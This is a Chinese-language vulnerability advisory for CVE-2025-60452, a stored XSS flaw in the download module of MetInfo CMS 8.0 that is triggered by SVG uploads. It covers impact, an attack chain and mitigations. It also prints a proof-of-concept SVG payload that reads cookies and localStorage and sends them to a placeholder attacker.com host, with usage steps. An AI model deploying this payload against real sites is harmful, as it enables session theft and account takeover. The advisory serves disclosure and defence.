IPBUF安全漏洞报告
English
CVE-2025-60452 CVSS 6.1 中危

CVE-2025-60452:MetInfo CMS 8.0下载模块存储型XSS漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-60452
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
MetInfo CMS

相关标签

Stored XSS跨站脚本MetInfo CMSSVG文件上传文件上传漏洞CVE-2025-60452Web应用安全内容管理系统中危漏洞客户端攻击

漏洞概述

CVE-2025-60452是MetInfo CMS 8.0版本中下载管理模块存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞于2025年10月3日公开披露,CVSS 3.1评分为6.1分,属于中危级别漏洞。MetInfo CMS是一款广泛使用的内容管理系统,主要用于企业建站,其下载管理模块允许管理员上传和管理各类文件资源。然而,该模块在处理文件上传时未对SVG文件类型进行充分的安全校验和内容过滤,导致攻击者可以将包含恶意JavaScript代码的SVG文件上传至服务器。由于该漏洞属于存储型XSS,恶意代码会被持久化存储在服务器端,每当合法用户访问或查看被上传的恶意SVG文件时,嵌入其中的JavaScript代码将在用户浏览器中自动执行。攻击者可利用此漏洞窃取用户会话cookie、进行钓鱼攻击、劫持用户账号或执行其他恶意操作,对网站用户的安全和隐私构成严重威胁。该漏洞的攻击向量为网络(AV:N),无需认证(PR:N),但需要用户交互(UI:R),影响范围为变更(Scope Changed, S:C),对机密性和完整性产生低影响,不影响可用性。

技术细节

该漏洞的根本原因在于MetInfo CMS 8.0下载管理模块在文件上传处理过程中缺乏对SVG文件内容的安全过滤机制。具体而言,在app\system\download\admin\download_admin.class.php组件中,系统未对上传的SVG文件进行XSS载荷检测和过滤。SVG(Scalable Vector Graphics)是一种基于XML的矢量图形格式,其本身支持嵌入JavaScript脚本和事件处理器(如onload、onclick等),浏览器在解析SVG文件时会执行其中的脚本代码。攻击者利用这一特性,构造包含恶意JavaScript代码的SVG文件,并通过下载管理模块的上传功能将其上传至服务器。上传成功后,恶意SVG文件被存储在服务器的文件系统中。当其他用户(包括管理员)通过浏览器访问该SVG文件的URL时,浏览器会解析SVG文件并执行其中嵌入的JavaScript代码。由于XSS载荷是存储在服务器端的,因此每个访问该文件的用户都会受到影响。攻击者可利用此漏洞执行以下操作:1)窃取用户Cookie和会话令牌;2)执行未授权的操作(如以受害者身份进行转账、修改设置等);3)进行钓鱼攻击,伪造登录页面;4)重定向用户到恶意网站;5)利用beEF等框架控制受害者浏览器。漏洞的利用条件较为简单,仅需攻击者能够访问上传功能(通常需要管理员权限),但一旦成功上传,影响范围广泛。

攻击链分析

STEP 1
步骤1:准备恶意SVG文件
攻击者构造一个包含恶意JavaScript代码的SVG文件,该文件利用SVG的onload事件处理器或内嵌<script>标签,在被浏览器渲染时自动执行XSS载荷。载荷通常包括窃取Cookie、会话令牌或重定向到钓鱼页面等恶意行为。
STEP 2
步骤2:获取上传权限
攻击者通过社会工程学、暴力破解或利用其他漏洞获取MetInfo CMS管理员账号的访问权限,从而能够使用下载管理模块的文件上传功能。
STEP 3
步骤3:上传恶意SVG文件
攻击者登录MetInfo CMS管理后台,进入下载管理模块(app\system\download\admin\download_admin.class.php),将构造好的恶意SVG文件作为正常资源上传。由于系统未对SVG文件进行XSS载荷检测和过滤,上传成功。
STEP 4
步骤4:诱导用户访问
恶意SVG文件被持久化存储在服务器后,攻击者通过各种渠道(如钓鱼邮件、即时消息、论坛帖子等)诱导合法用户访问该文件的URL链接,或等待用户自然浏览下载列表时触发。
STEP 5
步骤5:执行恶意代码
当用户在浏览器中访问恶意SVG文件时,浏览器解析SVG内容并执行其中嵌入的JavaScript代码。恶意代码在用户上下文中运行,可窃取Cookie、会话信息,或执行其他未授权操作。
STEP 6
步骤6:数据窃取与利用
攻击者通过接收窃取的Cookie和会话信息,可冒充受害者身份登录系统,执行未授权操作(如修改账户设置、窃取敏感数据、植入后门等),或利用获取的权限进行进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-60452: MetInfo CMS 8.0 Stored XSS via SVG File Upload --> <!-- Malicious SVG file that executes JavaScript when viewed in browser --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" height="500" onload="alert(document.cookie);evil_script()"> <script type="text/javascript"> // XSS payload - steal cookies and send to attacker's server function evil_script() { var cookie = document.cookie; var session = document.sessionStorage; var local = JSON.stringify(localStorage); // Exfiltrate sensitive data to attacker-controlled server var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(cookie) + '&session=' + encodeURIComponent(local); // Optional: redirect user to phishing page // window.location = 'https://attacker.com/phishing'; } </script> <rect x="0" y="0" width="500" height="500" fill="#FFFFFF"/> <text x="50" y="250" font-size="30">Download Document</text> </svg> <!-- Usage: --> <!-- 1. Save this file as malicious.svg --> <!-- 2. Login to MetInfo CMS admin panel --> <!-- 3. Navigate to Download Management module --> <!-- 4. Upload the malicious.svg file --> <!-- 5. Share the file URL with victims or wait for them to access it --> <!-- 6. When any user views the SVG file, the JavaScript executes automatically -->

影响范围

MetInfo CMS 8.0
MetInfo CMS <= 8.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)在Web服务器层面配置规则,拒绝或重命名包含<script>标签或onload等事件属性的SVG文件;2)将上传目录中的SVG文件Content-Type修改为application/octet-stream,强制浏览器下载而非直接渲染;3)部署Web应用防火墙(WAF)规则,检测和阻止包含恶意JavaScript的SVG文件上传;4)限制下载管理模块的上传权限,仅允许可信管理员操作;5)定期检查已上传的SVG文件,移除可疑文件;6)实施Content Security Policy(CSP)策略,限制页面中可执行的脚本来源;7)对管理员账号实施多因素认证(MFA),降低账号被盗用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表